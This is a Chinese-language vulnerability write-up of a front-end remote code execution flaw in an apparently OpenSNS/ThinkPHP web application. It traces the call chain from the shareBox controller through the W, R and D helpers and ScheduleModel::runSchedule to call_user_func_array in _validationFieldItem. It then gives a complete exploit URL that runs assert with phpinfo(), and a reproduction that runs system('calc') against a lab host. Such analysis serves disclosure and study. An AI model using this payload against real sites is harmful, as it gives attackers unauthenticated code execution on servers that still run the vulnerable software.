前台RCE
原理分析
触发条件
在Application/Weibo/Controller/ShareController.class.php的存在shareBox方法
大概意思是从GET请求中获取名为query的参数值,解码它,然后将解码后的值和相应的关联数组传递给视图模板渲染使用
转到Application/Weibo/View/default/Widget/share/sharebox.html观察模板是怎么渲染的
调用了W方法,调用fetchShare方法,将$parse_array
的值作为参数传递给这个方法
再次转到Thinkphp/common/function.php中查看W方法
可以看到W方法接收 $name
和 $data
俩参数,然后把参数传递给R方法
再查看一下R方法
大概意思是说,这个函数根据传入的 $url
参数来远程调用指定模块的控制器操作方法,并传递相应的参数。它通过解析$url获取操作方法名称和模块名称,然后创建控制器对象,并调用指定的操作方法,最后返回方法的执行结果。
再到/Weibo/Widget/ShareWidget.class.php看一下fetchShare
使用assginFetch处理接收的参数,在assginFetch之中又调用了D方法处理getInfo()
再次转到Thinkphp/common/function.php中查看D方法
D方法可以实例化
再查看一下getInfo()
接收一个$param
参数,当$param
包含'app'、'model'和'method'这三个键,且不为空时调用D方法实例化类
接下来就得根据实例化的条件去找只接收一个参数的Model类
触发方法
在/ThinkPHP/Library/Think/Model.class.php中存在_validationFieldItem方法
当传入的$val
可控时,call_user_func_array方法存在一个RCE漏洞
call_user_func_array用法
call_user_func_array(callable $callback, array $args): mixed
把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入
比如:call_user_func_array("assert","phpinfo()");
在/Application/Common/Model/ScheduleModel.class.php中有一个runSchedule方法可以利用
总结一下条件'status'必须等于1,传入的值必须包含'app'、'model'和'method'这三个键
所以payload为
/index.php?s=weibo/Share/shareBox
&query=app=Common%26
model=Schedule%26
method=runSchedule%26
id[status]=1%26
id[method]=Schedule->_validationFieldItem%26
id[4]=function%26
[1][]=%26
id[0]=cmd%26
id[1]=assert%26
id[args]=cmd=phpinfo()
漏洞复现
http://opensns.vul.cn/index.php?s=weibo/Share/shareBox
&query=app=Common%26
model=Schedule%26
method=runSchedule%26
id[status]=1%26
id[method]=Schedule->_validationFieldItem%26
id[4]=function%26
[2][]=%26
id[0]=cmd%26
id[1]=assert%26
id[args]=cmd=system("calc")